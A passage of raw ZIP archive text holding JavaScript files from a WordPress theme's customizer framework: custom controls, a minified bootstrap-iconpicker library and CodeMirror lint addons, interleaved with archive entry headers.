			if ( 'any' === control.params.choices.step ) {
				step = '0.001';
			}
		}

		// Init the spinner
		var spinInput = jQuery( element ).spinner({
			min: min,
			max: max,
			step: step
		});

		// disable mousewheel
		spinInput.on("spin", function (evt, ui) {
			if (evt.originalEvent && evt.originalEvent.type === 'mousewheel') {
				evt.preventDefault();
			}
		});

		// On change
		this.container.on( 'change click keyup paste', 'input', function() {
			control.setting.set( jQuery( this ).val() );
		});

	}

});
PK     N\|4?  ?  G  inc/customizer/framework/assets/js/customizer-control/control-header.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-header'] = api.controlConstructor.default.extend({

    ready: function() {
      var header = this;
      var container = header.container.get(0);
      $(container).on('click', header.click.bind(container));
    },

    click: function(){
      var collapsedClass = 'customizer-collapsed',
          flag = true;

      var recursive_control = function(element, flag)
      {
        var $next = $(element).next();

        if( $next.length === 0 ) return;

        if(!$next.hasClass('customize-control-soledad-fw-header'))
        {
          if(flag) {
            $next.addClass(collapsedClass);
          } else {
            $next.removeClass(collapsedClass);
          }

          recursive_control($next, flag)
        }
      };

      if($(this).hasClass('collapsed'))
      {
        $(this).removeClass('collapsed');
        flag = false;
      } else {
        $(this).addClass('collapsed');
        flag = true;
      }

      recursive_control(this, flag);
    }

  });
})(jQuery, wp.customize);
PK     N\    L  inc/customizer/framework/assets/js/customizer-control/control-ajax-select.jsnu [        /*jshint -W065 */
wp.customize.controlConstructor['soledad-fw-ajax-select'] = wp.customize.controlConstructor.default.extend({
	ready: function() {
		'use strict';

		var control = this,
			section = jQuery(this.container).parents('.control-section').first();

		var element = control.container.find( 'select' ),
			multiple = parseInt( element.data( 'multiple' ) ),
			selectValue,
			action = jQuery(element).data('action');

		jQuery( element ).selectize({
            plugins: ['drag_drop', 'remove_button'],
            persist: true,
            create: true,
            hideSelected: true,
            valueField: 'value',
            labelField: 'text',
            allowEmptyOption: true,
            render: {
                option: function(item, escape) {
                    var text = item.text;
                    if(text === undefined) {
                        return '<div><span>' + item.value + '</span></div>';
                    } else {
                        return '<div><span>' + text + '</span></div>';
                    }
                }
            },
            load: function(query, callback) {
                if (!query.length || query.length < 3) return callback();
                $.ajax({
                    url: ajaxurl,
                    type: 'POST',
                    dataType: 'json',
                    data: {
                        'string' : encodeURIComponent(query),
                        'action'  : action
                    },
                    error: function() {
                        callback();
                    },
                    success: function(res) {
                        callback(res);
                    }
                });
            }
		});

		// Change value
		control.container.on( 'change', 'select', function() {
			selectValue = jQuery( this ).val();

			// If this is a multi-select, then we need to convert the value to an object.
			if ( multiple > 1 ) {
				selectValue = _.extend( {}, jQuery( this ).val() );
			}

			control.setting.set( selectValue );
		});
	}
});
PK     N\7    E  inc/customizer/framework/assets/js/customizer-control/control-size.jsnu [        (function ($, api) {
    "use strict";

    api.controlConstructor['soledad-fw-size'] = api.controlConstructor.default.extend({
        ready: function () {
            'use strict';
            var control = this,
                value,
                thisInput,
                inputDefault,
                changeAction,
                controlClass = '.customize-control-soledad-fw-size',
                footerControl = jQuery('#customize-footer-actions');

            // Calling range slider
            jQuery('.pencidesign-range-slider').each(function () {
                var _this = jQuery(this);
                var _input = _this.closest('label').find('input[type="number"]');
                var _text = _input.next('.value');
            });

            // Update the range value
            jQuery(controlClass + ' .penci_range_value input[type=number]').on('input', function () {
                value = jQuery(this).attr('value');
                if ('' == value) {
                    value = -1;
                }
            });

            // Reset button
            jQuery(controlClass + ' .pencidesign-reset').on('click', function () {
                var icon = jQuery(this),
                    visible_area = icon.closest('.penci-range-title-area').next('.penci-range-slider-areas').children('label:visible'),
                    input = visible_area.find('input[type=number]'),
                    slider_value = visible_area.find('.pencidesign-range-slider'),
                    visual_value = visible_area.find('.penci_range_value'),
                    reset_value = input.attr('data-reset_value');

                input.val(reset_value).change();
                visual_value.find('input').val(reset_value);
                visual_value.find('.value').text(reset_value);

                if ('' == reset_value) {
                    reset_value = -1;
                }
            });

            // Activate icon when click
            jQuery(controlClass + ' .pencidesign-range-slider-control').each(function () {
                var _this = jQuery(this);
                _this.find('.penci-device-controls').children('span:first-child').addClass('selected');
                _this.find('.range-option-area:first-child').show();
            });

            // Click on icons
            jQuery(controlClass + ' .penci-device-controls > span').on('click', function (event) {
                var device = jQuery(this).data('option');

                jQuery(controlClass + ' .penci-device-controls span').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.addClass('selected');
                        _this.siblings().removeClass('selected');
                    }
                });

                jQuery(controlClass + ' .penci-range-slider-areas label').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.show();
                        _this.siblings().hide();
                    }
                });

                // Set the device currently viewing
                wp.customize.previewedDevice.set(jQuery(event.currentTarget).data('option'));
            });

            // Change devices on footer
            footerControl.find('.devices button').on('click', function () {
                var device = jQuery(this).data('device');
                jQuery(controlClass + ' .penci-device-controls span').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.addClass('selected');
                        _this.siblings().removeClass('selected');
                    }
                });

                jQuery(controlClass + ' .penci-range-slider-areas label').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.show();
                        _this.siblings().hide();
                    }
                });
            });

            // Apply for desktop
            control.container.on('input change', '.desktop-range',
                function () {
                    var id = $(this).attr('data-customize-setting-key-link').toString(),
                        desktop = api.control.instance( id );

                    desktop.setting.set(jQuery(this).val());
                }
            );

            // Apply for mobile
            control.container.on('input change', '.mobile-range',
                function () {
                    var id = $(this).attr('data-customize-setting-key-link').toString(),
                        mobile = api.control.instance( id );

                    mobile.setting.set(jQuery(this).val());
                }
            );
        }
    });
    api.controlConstructor['soledad-fw-hidden'] = api.controlConstructor.default.extend();
})(jQuery, wp.customize);
PK     N\ZN    M  inc/customizer/framework/assets/js/customizer-control/control-preset-image.jsnu [        (function ($, api) {
  "use strict";

  api.controlConstructor['soledad-fw-preset-image'] = api.controlConstructor.default.extend({
    ready: function () {
      var $select,
        selectize,
        value,
        container;

      // Change the value
      var setting = $(this.container).find('.image').data('link');

      $(this.container).find('label').on('click', function () {
        value = $(this).data('id');

        // find the container
        container = $(api.control(setting).container.find('select'));

        // Need to change content of selectize dropdown
        $select = container.selectize();
        selectize = $select[0].selectize;
        selectize.setValue(value, true);

        // Update the value in the customizer object
        api.control(setting).setting.set(value);

        // now trigger change
        $(container).change();
      });
    }
  });
})(jQuery, wp.customize);
PK     N\H;fW/  /  E  inc/customizer/framework/assets/js/vendor/bootstrap-iconpicker.min.jsnu [        /*!========================================================================
* File: bootstrap-iconpicker.min.js v1.9.0 by @victor-valencia
* https://victor-valencia.github.com/bootstrap-iconpicker
* ========================================================================
* Copyright 2013-2017 Victor Valencia Rico.
* Licensed under MIT license.
* https://github.com/victor-valencia/bootstrap-iconpicker/blob/master/LICENSE
* ========================================================================
*/

!function($){"use strict";var Iconpicker=function(element,options){this.$element=$(element),this.options=$.extend({},Iconpicker.DEFAULTS,this.$element.data()),this.options=$.extend({},this.options,options)};Iconpicker.VERSION="1.9.0",Iconpicker.ICONSET_EMPTY={iconClass:"",iconClassFix:"",icons:[]},Iconpicker.ICONSET={_custom:null,elusiveicon:$.iconset_elusiveicon||Iconpicker.ICONSET_EMPTY,flagicon:$.iconset_flagicon||Iconpicker.ICONSET_EMPTY,fontawesome:$.iconset_fontawesome||Iconpicker.ICONSET_EMPTY,glyphicon:$.iconset_glyphicon||Iconpicker.ICONSET_EMPTY,ionicon:$.iconset_ionicon||Iconpicker.ICONSET_EMPTY,mapicon:$.iconset_mapicon||Iconpicker.ICONSET_EMPTY,materialdesign:$.iconset_materialdesign||Iconpicker.ICONSET_EMPTY,octicon:$.iconset_octicon||Iconpicker.ICONSET_EMPTY,typicon:$.iconset_typicon||Iconpicker.ICONSET_EMPTY,weathericon:$.iconset_weathericon||Iconpicker.ICONSET_EMPTY},Iconpicker.DEFAULTS={align:"center",arrowClass:"btn-primary",arrowNextIconClass:"glyphicon glyphicon-arrow-right",arrowPrevIconClass:"glyphicon glyphicon-arrow-left",cols:4,icon:"",iconset:"glyphicon",iconsetVersion:"lastest",header:!0,labelHeader:"{0} / {1}",footer:!0,labelFooter:"{0} - {1} of {2}",placement:"bottom",rows:4,search:!0,searchText:"Search icon",selectedClass:"btn-warning",unselectedClass:"btn-default"},Iconpicker.prototype.bindEvents=function(){var op=this.options,el=this;op.table.find(".btn-previous, .btn-next").off("click").on("click",function(e){if(e.preventDefault(),!$(this).hasClass("disabled")){var inc=parseInt($(this).val(),10);el.changeList(op.page+inc)}}),op.table.find(".btn-icon").off("click").on("click",function(e){e.preventDefault(),el.select($(this).val()),op.inline===!1?el.$element.popover("destroy"):op.table.find("i."+$(this).val()).parent().addClass(op.selectedClass)}),op.table.find(".search-control").off("keyup").on("keyup",function(){el.changeList(1)})},Iconpicker.prototype.changeList=function(page){this.filterIcons(),this.updateLabels(page),this.updateIcons(page),this.options.page=page,this.bindEvents()},Iconpicker.prototype.filterIcons=function(){var op=this.options,search=op.table.find(".search-control").val(),icons=[];if("lastest"!=op.iconsetVersion&&"undefined"!=typeof Iconpicker.ICONSET[op.iconset].allVersions?$.each(Iconpicker.ICONSET[op.iconset].allVersions,function(i,v){op.iconsetVersion==v.version&&(icons=v.icons)}):icons=Iconpicker.ICONSET[op.iconset].icons,""===search)op.icons=icons;else{var result=[];$.each(icons,function(i,v){v.toLowerCase().indexOf(search)>-1&&result.push(v)}),op.icons=result}},Iconpicker.prototype.removeAddClass=function(target,remove,add){return this.options.table.find(target).removeClass(remove).addClass(add),add},Iconpicker.prototype.reset=function(){this.updatePicker(),this.changeList(1)},Iconpicker.prototype.select=function(icon){var op=this.options,el=this.$element;op.selected=$.inArray(icon.replace(op.iconClassFix,""),op.icons),-1===op.selected&&(op.selected=0,icon=op.iconClassFix+op.icons[op.selected]),""!==icon&&op.selected>=0&&(op.icon=icon,op.inline===!1&&(el.find("input").val(icon),el.find("i").attr("class","").addClass(op.iconClass).addClass(icon)),icon===op.iconClassFix?el.trigger({type:"change",icon:"empty"}):(el.trigger({type:"change",icon:icon}),el.find("input").val(icon)),op.table.find("button."+op.selectedClass).removeClass(op.selectedClass))},Iconpicker.prototype.switchPage=function(icon){var op=this.options;if(op.selected=$.inArray(icon.replace(op.iconClassFix,""),op.icons),op.selected>=0){var page=Math.ceil((op.selected+1)/this.totalIconsPerPage());this.changeList(page)}""===icon?op.table.find("i."+op.iconClassFix).parent().addClass(op.selectedClass):op.table.find("i."+icon).parent().addClass(op.selectedClass)},Iconpicker.prototype.totalPages=function(){return Math.ceil(this.totalIcons()/this.totalIconsPerPage())},Iconpicker.prototype.totalIcons=function(){return this.options.icons.length},Iconpicker.prototype.totalIconsPerPage=function(){return 0===this.options.rows?this.options.icons.length:this.options.cols*this.options.rows},Iconpicker.prototype.updateArrows=function(page){var op=this.options,total_pages=this.totalPages();1===page?op.table.find(".btn-previous").addClass("disabled"):op.table.find(".btn-previous").removeClass("disabled"),page===total_pages||0===total_pages?op.table.find(".btn-next").addClass("disabled"):op.table.find(".btn-next").removeClass("disabled")},Iconpicker.prototype.updateIcons=function(page){var op=this.options,tbody=op.table.find("tbody").empty(),offset=(page-1)*this.totalIconsPerPage(),length=op.rows;0===op.rows&&(length=op.icons.length);for(var i=0;length>i;i++){for(var tr=$("<tr></tr>"),j=0;j<op.cols;j++){var pos=offset+i*op.cols+j,btn=$('<button class="btn '+op.unselectedClass+' btn-icon"></button>').hide();if(pos<op.icons.length){var v=op.iconClassFix+op.icons[pos];btn.val(v).attr("title",v).append('<i class="'+op.iconClass+" "+v+'"></i>').show(),op.icon===v&&btn.addClass(op.selectedClass).addClass("btn-icon-selected")}tr.append($("<td></td>").append(btn))}tbody.append(tr)}},Iconpicker.prototype.updateIconsCount=function(){var op=this.options;if(op.footer===!0){var icons_count=["<tr>",'   <td colspan="'+op.cols+'" class="text-center">','       <span class="icons-count"></span>',"   </td>","</tr>"];op.table.find("tfoot").empty().append(icons_count.join(""))}},Iconpicker.prototype.updateLabels=function(page){var op=this.options,total_icons=this.totalIcons(),total_pages=this.totalPages();op.table.find(".page-count").html(op.labelHeader.replace("{0}",0===total_pages?0:page).replace("{1}",total_pages));var offset=(page-1)*this.totalIconsPerPage(),total=page*this.totalIconsPerPage();op.table.find(".icons-count").html(op.labelFooter.replace("{0}",total_icons?offset+1:0).replace("{1}",total_icons>total?total:total_icons).replace("{2}",total_icons)),this.updateArrows(page)},Iconpicker.prototype.updatePagesCount=function(){var op=this.options;if(op.header===!0){for(var tr=$("<tr></tr>"),i=0;i<op.cols;i++){var td=$('<td class="text-center"></td>');if(0===i||i===op.cols-1){var arrow=['<button class="btn btn-arrow '+(0===i?"btn-previous":"btn-next")+" "+op.arrowClass+'" value="'+(0===i?-1:1)+'">','<span class="'+(0===i?op.arrowPrevIconClass:op.arrowNextIconClass)+'"></span>',"</button>"];td.append(arrow.join("")),tr.append(td)}else 0===tr.find(".page-count").length&&(td.attr("colspan",op.cols-2).append('<span class="page-count"></span>'),tr.append(td))}op.table.find("thead").empty().append(tr)}},Iconpicker.prototype.updatePicker=function(){var op=this.options;if(op.cols<4)throw"Iconpicker => The number of columns must be greater than or equal to 4. [option.cols = "+op.cols+"]";if(op.rows<0)throw"Iconpicker => The number of rows must be greater than or equal to 0. [option.rows = "+op.rows+"]";this.updatePagesCount(),this.updateSearch(),this.updateIconsCount()},Iconpicker.prototype.updateSearch=function(){var op=this.options,search=["<tr>",'   <td colspan="'+op.cols+'">','       <input type="text" class="form-control search-control" style="width: '+39*op.cols+'px;" placeholder="'+op.searchText+'">',"   </td>","</tr>"];search=$(search.join("")),op.search===!0?search.show():search.hide(),op.table.find("thead").append(search)},Iconpicker.prototype.setAlign=function(value){this.$element.removeClass(this.options.align).addClass(value),this.options.align=value},Iconpicker.prototype.setArrowClass=function(value){this.options.arrowClass=this.removeAddClass(".btn-arrow",this.options.arrowClass,value)},Iconpicker.prototype.setArrowNextIconClass=function(value){this.options.arrowNextIconClass=this.removeAddClass(".btn-next > span",this.options.arrowNextIconClass,value)},Iconpicker.prototype.setArrowPrevIconClass=function(value){this.options.arrowPrevIconClass=this.removeAddClass(".btn-previous > span",this.options.arrowPrevIconClass,value)},Iconpicker.prototype.setCols=function(value){this.options.cols=value,this.reset()},Iconpicker.prototype.setFooter=function(value){var footer=this.options.table.find("tfoot");value===!0?footer.show():footer.hide(),this.options.footer=value},Iconpicker.prototype.setHeader=function(value){var header=this.options.table.find("thead");value===!0?header.show():header.hide(),this.options.header=value},Iconpicker.prototype.setIcon=function(value){this.select(value)},Iconpicker.prototype.setIconset=function(value){var op=this.options;$.isPlainObject(value)?(Iconpicker.ICONSET._custom=$.extend(Iconpicker.ICONSET_EMPTY,value),op.iconset="_custom"):Iconpicker.ICONSET.hasOwnProperty(value)?op.iconset=value:op.iconset=Iconpicker.DEFAULTS.iconset,op=$.extend(op,Iconpicker.ICONSET[op.iconset]),this.reset(),this.select(op.icon)},Iconpicker.prototype.setLabelHeader=function(value){this.options.labelHeader=value,this.updateLabels(this.options.page)},Iconpicker.prototype.setLabelFooter=function(value){this.options.labelFooter=value,this.updateLabels(this.options.page)},Iconpicker.prototype.setPlacement=function(value){this.options.placement=value},Iconpicker.prototype.setRows=function(value){this.options.rows=value,this.reset()},Iconpicker.prototype.setSearch=function(value){var search=this.options.table.find(".search-control");value===!0?search.show():search.hide(),search.val(""),this.changeList(1),this.options.search=value},Iconpicker.prototype.setSearchText=function(value){this.options.table.find(".search-control").attr("placeholder",value),this.options.searchText=value},Iconpicker.prototype.setSelectedClass=function(value){this.options.selectedClass=this.removeAddClass(".btn-icon-selected",this.options.selectedClass,value)},Iconpicker.prototype.setUnselectedClass=function(value){this.options.unselectedClass=this.removeAddClass(".btn-icon",this.options.unselectedClass,value)};var old=$.fn.iconpicker;$.fn.iconpicker=function(option,params){return this.each(function(){var $this=$(this),data=$this.data("bs.iconpicker"),options="object"==typeof option&&option;if(data||$this.data("bs.iconpicker",data=new Iconpicker(this,options)),"string"==typeof option){if("undefined"==typeof data[option])throw'Iconpicker => The "'+option+'" method does not exists.';data[option](params)}else{var op=data.options;op=$.extend(op,{inline:!1,page:1,selected:-1,table:$('<table class="table-icons"><thead></thead><tbody></tbody><tfoot></tfoot></table>')});var name="undefined"!=typeof $this.attr("name")?'name="'+$this.attr("name")+'"':"";"BUTTON"===$this.prop("tagName")?($this.empty().append("<i></i>").append('<input type="hidden" '+name+"></input>").append('<span class="caret"></span>').addClass("iconpicker"),data.setIconset(op.iconset),$this.on("click",function(e){e.preventDefault(),$this.popover({animation:!1,trigger:"manual",html:!0,content:op.table,container:"body",placement:op.placement}).on("shown.bs.popover",function(){data.switchPage(op.icon),data.bindEvents()}),$this.data("bs.popover").tip().addClass("iconpicker-popover"),$this.popover("show")})):(op.inline=!0,data.setIconset(op.iconset),$this.empty().append('<input type="hidden" '+name+"></input>").append(op.table).addClass("iconpicker").addClass(op.align),data.switchPage(op.icon),data.bindEvents())}})},$.fn.iconpicker.Constructor=Iconpicker,$.fn.iconpicker.noConflict=function(){return $.fn.iconpicker=old,this},$(document).on("click","body",function(e){$(".iconpicker").each(function(){$(this).is(e.target)||0!==$(this).has(e.target).length||0!==$(".popover").has(e.target).length||$(this).popover("destroy")})}),$('button[role="iconpicker"],div[role="iconpicker"]').iconpicker()}(jQuery);PK     N\u    L  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/json-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on jsonlint.js from https://github.com/zaach/jsonlint

// declare global: jsonlint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "json", function(text) {
  var found = [];
  jsonlint.parseError = function(str, hash) {
    var loc = hash.loc;
    found.push({from: CodeMirror.Pos(loc.first_line - 1, loc.first_column),
                to: CodeMirror.Pos(loc.last_line - 1, loc.last_column),
                message: str});
  };
  try { jsonlint.parse(text); }
  catch(e) {}
  return found;
});

});
PK     N\rz  z  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/css-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on csslint.js from https://github.com/stubbornella/csslint

// declare global: CSSLint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "css", function(text) {
  var found = [];
  if (!window.CSSLint) return found;
  var results = CSSLint.verify(text), messages = results.messages, message = null;
  for ( var i = 0; i < messages.length; i++) {
    message = messages[i];
    var startLine = message.line -1, endLine = message.line -1, startCol = message.col -1, endCol = message.col;
    found.push({
      from: CodeMirror.Pos(startLine, startCol),
      to: CodeMirror.Pos(endLine, endCol),
      message: message.message,
      severity : message.type
    });
  }
  return found;
});

});
PK     N\q1    L  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/html-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on htmlhint.js from http://htmlhint.com/js/htmlhint.js

// declare global: HTMLHint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("htmlhint"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "htmlhint"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaultRules = {
    "tagname-lowercase": true,
    "attr-lowercase": true,
    "attr-value-double-quotes": true,
    "doctype-first": false,
    "tag-pair": true,
    "spec-char-escape": true,
    "id-unique": true,
    "src-not-empty": true,
    "attr-no-duplication": true
  };

  CodeMirror.registerHelper("lint", "html", function(text, options) {
    var found = [];
    if (!window.HTMLHint) return found;
    var messages = HTMLHint.verify(text, options && options.rules || defaultRules);
    for (var i = 0; i < messages.length; i++) {
      var message = messages[i];
      var startLine = message.line - 1, endLine = message.line - 1, startCol = message.col - 1, endCol = message.col;
      found.push({
        from: CodeMirror.Pos(startLine, startCol),
        to: CodeMirror.Pos(endLine, endCol),
        message: message.message,
        severity : message.type
      });
    }
    return found;
  });
});
PK     N\    T  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/coffeescript-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on coffeelint.js from http://www.coffeelint.org/js/coffeelint.js

// declare global: coffeelint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "coffeescript", function(text) {
  var found = [];
  var parseError = function(err) {
    var loc = err.lineNumber;
    found.push({from: CodeMirror.Pos(loc-1, 0),
                to: CodeMirror.Pos(loc, 0),
                severity: err.level,
                message: err.message});
  };
  try {
    var res = coffeelint.lint(text);
    for(var i = 0; i < res.length; i++) {
      parseError(res[i]);
    }
  } catch(e) {
    found.push({from: CodeMirror.Pos(e.location.first_line, 0),
                to: CodeMirror.Pos(e.location.last_line, e.location.last_column),
                severity: 'error',
                message: e.message});
  }
  return found;
});

});
PK     N\{  {  G  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var GUTTER_ID = "CodeMirror-lint-markers";

  function showTooltip(e, content) {
    var tt = document.createElement("div");
    tt.className = "CodeMirror-lint-tooltip";
    tt.appendChild(content.cloneNode(true));
    document.body.appendChild(tt);

    function position(e) {
      if (!tt.parentNode) return CodeMirror.off(document, "mousemove", position);
      tt.style.top = Math.max(0, e.clientY - tt.offsetHeight - 5) + "px";
      tt.style.left = (e.clientX + 5) + "px";
    }
    CodeMirror.on(document, "mousemove", position);
    position(e);
    if (tt.style.opacity != null) tt.style.opacity = 1;
    return tt;
  }
  function rm(elt) {
    if (elt.parentNode) elt.parentNode.removeChild(elt);
  }
  function hideTooltip(tt) {
    if (!tt.parentNode) return;
    if (tt.style.opacity == null) rm(tt);
    tt.style.opacity = 0;
    setTimeout(function() { rm(tt); }, 600);
  }

  function showTooltipFor(e, content, node) {
    var tooltip = showTooltip(e, content);
    function hide() {
      CodeMirror.off(node, "mouseout", hide);
      if (tooltip) { hideTooltip(tooltip); tooltip = null; }
    }
    var poll = setInterval(function() {
      if (tooltip) for (var n = node;; n = n.parentNode) {
        if (n && n.nodeType == 11) n = n.host;
        if (n == document.body) return;
        if (!n) { hide(); break; }
      }
      if (!tooltip) return clearInterval(poll);
    }, 400);
    CodeMirror.on(node, "mouseout", hide);
  }

  function LintState(cm, options, hasGutter) {
    this.marked = [];
    this.options = options;
    this.timeout = null;
    this.hasGutter = hasGutter;
    this.onMouseOver = function(e) { onMouseOver(cm, e); };
    this.waitingFor = 0
  }

  function parseOptions(_cm, options) {
    if (options instanceof Function) return {getAnnotations: options};
    if (!options || options === true) options = {};
    return options;
  }

  function clearMarks(cm) {
    var state = cm.state.lint;
    if (state.hasGutter) cm.clearGutter(GUTTER_ID);
    for (var i = 0; i < state.marked.length; ++i)
      state.marked[i].clear();
    state.marked.length = 0;
  }

  function makeMarker(labels, severity, multiple, tooltips) {
    var marker = document.createElement("div"), inner = marker;
    marker.className = "CodeMirror-lint-marker-" + severity;
    if (multiple) {
      inner = marker.appendChild(document.createElement("div"));
      inner.className = "CodeMirror-lint-marker-multiple";
    }

    if (tooltips != false) CodeMirror.on(inner, "mouseover", function(e) {
      showTooltipFor(e, labels, inner);
    });

    return marker;
  }

  function getMaxSeverity(a, b) {
    if (a == "error") return a;
    else return b;
  }

  function groupByLine(annotations) {
    var lines = [];
    for (var i = 0; i < annotations.length; ++i) {
      var ann = annotations[i], line = ann.from.line;
      (lines[line] || (lines[line] = [])).push(ann);
    }
    return lines;
  }

  function annotationTooltip(ann) {
    var severity = ann.severity;
    if (!severity) severity = "error";
    var tip = document.createElement("div");
    tip.className = "CodeMirror-lint-message-" + severity;
    tip.appendChild(document.createTextNode(ann.message));
    return tip;
  }

  function lintAsync(cm, getAnnotations, passOptions) {
    var state = cm.state.lint
    var id = ++state.waitingFor
    function abort() {
      id = -1
      cm.off("change", abort)
    }
    cm.on("change", abort)
    getAnnotations(cm.getValue(), function(annotations, arg2) {
      cm.off("change", abort)
      if (state.waitingFor != id) return
      if (arg2 && annotations instanceof CodeMirror) annotations = arg2
      updateLinting(cm, annotations)
    }, passOptions, cm);
  }

  function startLinting(cm) {
    var state = cm.state.lint, options = state.options;
    var passOptions = options.options || options; // Support deprecated passing of `options` property in options
    var getAnnotations = options.getAnnotations || cm.getHelper(CodeMirror.Pos(0, 0), "lint");
    if (!getAnnotations) return;
    if (options.async || getAnnotations.async) {
      lintAsync(cm, getAnnotations, passOptions)
    } else {
      updateLinting(cm, getAnnotations(cm.getValue(), passOptions, cm));
    }
  }

  function updateLinting(cm, annotationsNotSorted) {
    clearMarks(cm);
    var state = cm.state.lint, options = state.options;

    var annotations = groupByLine(annotationsNotSorted);

    for (var line = 0; line < annotations.length; ++line) {
      var anns = annotations[line];
      if (!anns) continue;

      var maxSeverity = null;
      var tipLabel = state.hasGutter && document.createDocumentFragment();

      for (var i = 0; i < anns.length; ++i) {
        var ann = anns[i];
        var severity = ann.severity;
        if (!severity) severity = "error";
        maxSeverity = getMaxSeverity(maxSeverity, severity);

        if (options.formatAnnotation) ann = options.formatAnnotation(ann);
        if (state.hasGutter) tipLabel.appendChild(annotationTooltip(ann));

        if (ann.to) state.marked.push(cm.markText(ann.from, ann.to, {
          className: "CodeMirror-lint-mark-" + severity,
          __annotation: ann
        }));
      }

      if (state.hasGutter)
        cm.setGutterMarker(line, GUTTER_ID, makeMarker(tipLabel, maxSeverity, anns.length > 1,
                                                       state.options.tooltips));
    }
    if (options.onUpdateLinting) options.onUpdateLinting(annotationsNotSorted, annotations, cm);
  }

  function onChange(cm) {
    var state = cm.state.lint;
    if (!state) return;
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function(){startLinting(cm);}, state.options.delay || 500);
  }

  function popupSpanTooltip(ann, e) {
    var target = e.target || e.srcElement;
    showTooltipFor(e, annotationTooltip(ann), target);
  }

  function onMouseOver(cm, e) {
    var target = e.target || e.srcElement;
    if (!/\bCodeMirror-lint-mark-/.test(target.className)) return;
    var box = target.getBoundingClientRect(), x = (box.left + box.right) / 2, y = (box.top + box.bottom) / 2;
    var spans = cm.findMarksAt(cm.coordsChar({left: x, top: y}, "client"));
    for (var i = 0; i < spans.length; ++i) {
      var ann = spans[i].__annotation;
      if (ann) return popupSpanTooltip(ann, e);
    }
  }

  CodeMirror.defineOption("lint", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      clearMarks(cm);
      if (cm.state.lint.options.lintOnChange !== false)
        cm.off("change", onChange);
      CodeMirror.off(cm.getWrapperElement(), "mouseover", cm.state.lint.onMouseOver);
      clearTimeout(cm.state.lint.timeout);
      delete cm.state.lint;
    }

    if (val) {
      var gutters = cm.getOption("gutters"), hasLintGutter = false;
      for (var i = 0; i < gutters.length; ++i) if (gutters[i] == GUTTER_ID) hasLintGutter = true;
      var state = cm.state.lint = new LintState(cm, parseOptions(cm, val), hasLintGutter);
      if (state.options.lintOnChange !== false)
        cm.on("change", onChange);
      if (state.options.tooltips != false)
        CodeMirror.on(cm.getWrapperElement(), "mouseover", state.onMouseOver);

      startLinting(cm);
    }
  });

  CodeMirror.defineExtension("performLint", function() {
    if (this.state.lint) startLinting(this);
  });
});
PK     N\&u  u  R  inc/customizer/framework/assets/js/vendor/codemirror/addon/lint/javascript-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  // declare global: JSHINT

  var bogus = [ "Dangerous comment" ];

  var warnings = [ [ "Expected '{'",
                     "Statement body should be inside '{ }' braces." ] ];

  var errors = [ "Missing semicolon", "Extra comma", "Missing property name",
                 "Unmatched ", " and instead saw", " is not defined",
                 "Unclosed string", "Stopping, unable to continue" ];

  function validator(text, options) {
    if (!window.JSHINT) return [];
    JSHINT(text, options, options.globals);
    var errors = JSHINT.data().errors, result = [];
    if (errors) parseErrors(errors, result);
    return result;
  }

  CodeMirror.registerHelper("lint", "javascript", validator);

  function cleanup(error) {
    // All problems are warnings by default
    fixWith(error, warnings, "warning", true);
    fixWith(error, errors, "error");

    return isBogus(error) ? null : error;
  }

  function fixWith(error, fixes, severity, force) {
    var description, fix, find, replace, found;

    description = error.description;

    for ( var i = 0; i < fixes.length; i++) {
